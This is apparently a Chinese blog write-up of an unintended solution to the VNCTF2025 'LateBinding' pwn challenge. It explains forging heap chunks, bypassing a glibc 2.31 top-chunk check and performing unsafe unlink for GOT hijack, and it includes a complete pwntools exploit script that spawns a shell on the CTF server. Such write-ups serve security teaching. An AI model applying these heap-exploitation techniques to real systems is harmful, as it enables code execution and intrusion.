VNCTF2025 LateBinding非预期解

题目&官方题解: https://ctf.vnteam.cn/training/1?challenge=51
官方题解的house of muney还是太吃操作了,有没有更简单的解法?
有的兄弟,有的。
如题,这里我们使用unsafe unlink攻击,尝试向heap list中写入&heap_list,进而得到主程序上任意地址读写的权限,这样我们就可以泄露libc再打got hijack了。
unsafe unlink是很简单的攻击手法,一搜就能得到大量教程。但这题的unlink似乎不太一样
仔细看看,堆块的大小是有下限的,至少0x20000,而且没有UAF,我们根本不能在heap段上搞出两个被free的chunk来unlink!
但没关系。我们把3个堆都分配出来之后可以发现,这三个chunk有一个在heap内存空间上,另外两个在libc前面的地址空间上,并且这两个chunk物理相邻!这样的话,我们就可以考虑在这段内存空间上伪造一些chunk(尤其注意IS_MMAPED段,必须覆盖为0),再利用这些伪造的chunk进行unlink就行了!
想法挺好的,但接下来我们的伪造可能会有各种报错,我们需要参考libc源码解决这些问题。先把libc源码贴在这里: https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c
首先我们知道,unlink的基础是知道程序的基地址。那么基地址怎么泄露呢?注意到程序在$rebase(0x4068)处有一个指针是自指的,那么只要用读取函数读这里就可以拿到基地址了。
布置好大量堆块后unlink,发现程序还是会报错。原来是有一个检查:

1
2
3
4
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)");

这其实好办,只要把top chunk的size修改得很大就可以了。这样我们就成功unlink、拿到shell。附wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python3

'''
author: GeekCmore
time: 2025-02-26 15:45:14
'''
from pwn import *

filename = "pwn_patched"
libcname = "/home/zhangjuncpp/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6_2.31-0ubuntu9.16_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "node.vnteam.cn"
port = 46038
elf = context.binary = ELF(filename)
context.log_level = 'debug'
context.terminal = ['wt.exe', 'wsl']
if libcname:
libc = ELF(libcname)
gs = '''
set debug-file-directory /home/zhangjuncpp/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6-dbg_2.31-0ubuntu9.16_amd64/usr/lib/debug
'''+"n\n"*20+"""
b *$rebase(0x1771)
b *$rebase(0x15bf)
"""

def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)

menu = b"Please select an option:\n"

def add(index, size):
io.sendlineafter(menu, b"1")
io.sendlineafter(b"Enter customer ID:\n", str(index).encode())
io.sendlineafter(b'Enter allocated data size:\n', str(size).encode())

def free(index):
io.sendlineafter(menu, b"2")
io.sendlineafter(b"Enter customer ID to remove:\n", str(index).encode())

def show(offset):
io.sendlineafter(menu, b"4")
io.sendlineafter(b"Enter customer ID to view:\n", str(offset).encode())

def edit(index, offset, data):
io.sendlineafter(menu, b"3")
io.sendlineafter(b"Enter customer ID to update:\n", str(index).encode())
io.sendlineafter(b"Enter data length:\n", str(offset).encode())
io.sendafter(b"Enter updated customer details:\n", data)


io = start()

show(-0x58//8)
io.recvuntil(b"Customer Profile:\n")
base = u64(io.recvuntil(b"\n")[:-1].ljust(8, b"\x00")) - 0x4068
log.success(f"base>>> {hex(base)}")
ptr = base + 0x40c0 + 0x10

add(0, 0x20000)
add(1, 0x20000)
add(2, 0x20000)

edit(1, -0x10, p64(0x20ff0) + p64(0x430)) #free p

edit(1, -0x10-0x20ff0, p64(0x0)+p64(0x20ff1)) #unlink p
edit(1, -0x10-0x20ff0+0x10, p64(ptr-0x18)+p64(ptr-0x10))

edit(1, -0x10+0x430, p64(0x430)+p64(0x431))
edit(1, -0x10+0x430+0x430, p64(0x430)+p64(0x431))

edit(0, 0x20008, p64(0xffffffdeadbee1))
free(1)
# heap_list[2] = base + 0x40b8

edit(2, (0x40c8-0x40b8), p64(base+0x4020))
show(1)
io.recvuntil(b"Customer Profile:\n")
libc_base = u64(io.recvuntil(b"\n")[:-1].ljust(8, b"\x00")) - libc.sym["puts"]
log.success(f"libc_base>>> {hex(libc_base)}")

ogg = libc_base + [0xe3afe, 0xe3b01, 0xe3b04][1]

edit(2, (0x4050-0x40b8), p64(ogg))
io.sendlineafter(menu, b"5")


io.interactive()


VNCTF2025 LateBinding非预期解
https://powchan.github.io.git/2025/03/05/VNCTF2025-LateBinding非预期解/
作者
powchan
发布于
2025年3月5日
许可协议